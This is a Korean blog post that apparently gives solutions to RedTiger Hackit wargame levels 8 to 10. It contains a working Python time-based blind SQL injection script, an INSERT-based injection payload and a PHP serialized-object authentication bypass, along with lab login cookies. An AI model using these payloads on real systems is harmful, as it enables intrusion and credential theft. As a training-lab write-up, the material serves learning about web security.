webhacking/sql, sql injection

RedTigers Hackit 8,9,10

qkqhxla1 2015. 7. 14. 16:17

8. 전에 여기서 해봤으나 원인 모를 이유로 답을 못찾았었다.


이유를 알아냈다. locate함수는 위치를 반환한다. 

mysql> select * from prob;

+-------+----------------------+

| id    | pw                   |

+-------+----------------------+

....

| admin | 123                  |

| admin | 008c5926ca861023c1d2 |

| admin | \123                 |

... 중략


mysql> select locate(char(48),pw) from prob;

+---------------------+

| locate(char(48),pw) |

.... 중략

|                   0 |

|                   1 |

|                   0 |

... 중략


자 0의 위치를 반환해보라고 할 경우, 아래처럼 첫번째 인덱스만 나타난다. pw중에는 008c59~형태의 pw도 있는데, 두번째 위치를 비교하려면 locate함수에 세번째 인자를 써주면 된다. 

참고 : http://www.w3resource.com/mysql/string-functions/mysql-locate-function.php


mysql> select locate(char(48),pw,2) from prob;

+-----------------------+

| locate(char(48),pw,2) |

+-----------------------+

... 중략

|                     0 |

|                     2 |

|                     0 |

...중략


, hackit 8번은 elt함수를 if문처럼 사용해서 풀었다. 참고로 locate함수는 대소문자 구별을 안하므로, 컬럼명 앞에 binary를 붙여주면 엄격하게 비교하게되어 대소문자 구분을 하게된다.


# -*- encoding: cp949 -*-
import socket, time
answer = ''
for i in range(1,19):
    for j in range(32,128):
        t = time.time()
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('redtiger.labs.overthewire.org',80))
        message = '''POST /level8.php HTTP/1.1
Host: redtiger.labs.overthewire.org
Proxy-Connection: keep-alive
Content-Length: 153
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://redtiger.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://redtiger.labs.overthewire.org/level8.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese; level4login=dont_publish_solutions_GRR%21; level5login=bananas_are_not_yellow-sometimes; level6login=my_cat_says_meow_meowmeow; level7login=dont_shout_at_your_disks%2A%2A%2A; level8login=MOOcowMEOWcatOinkPIG

email=%27+or+username%3D%27Admin%27+and+locate%28char%28'''+str(j)+'''%29%2Cbinary+password%2C'''+str(i)+'''%29%3D'''+str(i)+'''+and+sleep%283%29+or+%275&name=Hans&icq=12345&age=25&edit=Edit


'''
        s.sendall(message)
        s.recv(1000)
        gap = time.time() - t
        print i,j,gap,answer
        if gap > 3:
            answer += chr(j)
            break
        if j==127: exit(1)
        #print s.recv(1000)
print answer


9. 

의외로 되게 간단하다. '를 입력하다보면 text부분에서 에러가 뜨는걸 확인할수 있다. 분석하다보면 insert로 입력을 받음을 추측할수 있다. 조금 삽질해보면 '),('a','b','c'),('d','e','f 이렇게 입력해보면 제대로 인젝션이 됨을 확인할 수 있다. 아무 유저나 로그인하면 되므로 아래처럼 입력하면 답이 나온다.


'),((select username from level9_users limit 1),(select password from level9_users limit 1),'c'),('d','e','f



10.

이것도 간단하다. 로그인 버튼밖에 없는데, 소스를 보면 hidden속성으로 하나가 있다. base64로 디코딩해보면 a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";} 가 나온다. 로그인 정보임을 알 수 있고, 각각은 ;로 구분되있고, s는 string, 숫자는 뒤의 길이임을 대충 추측해볼수 있었다. 

삽질하다가 성공했다. {s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}


YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=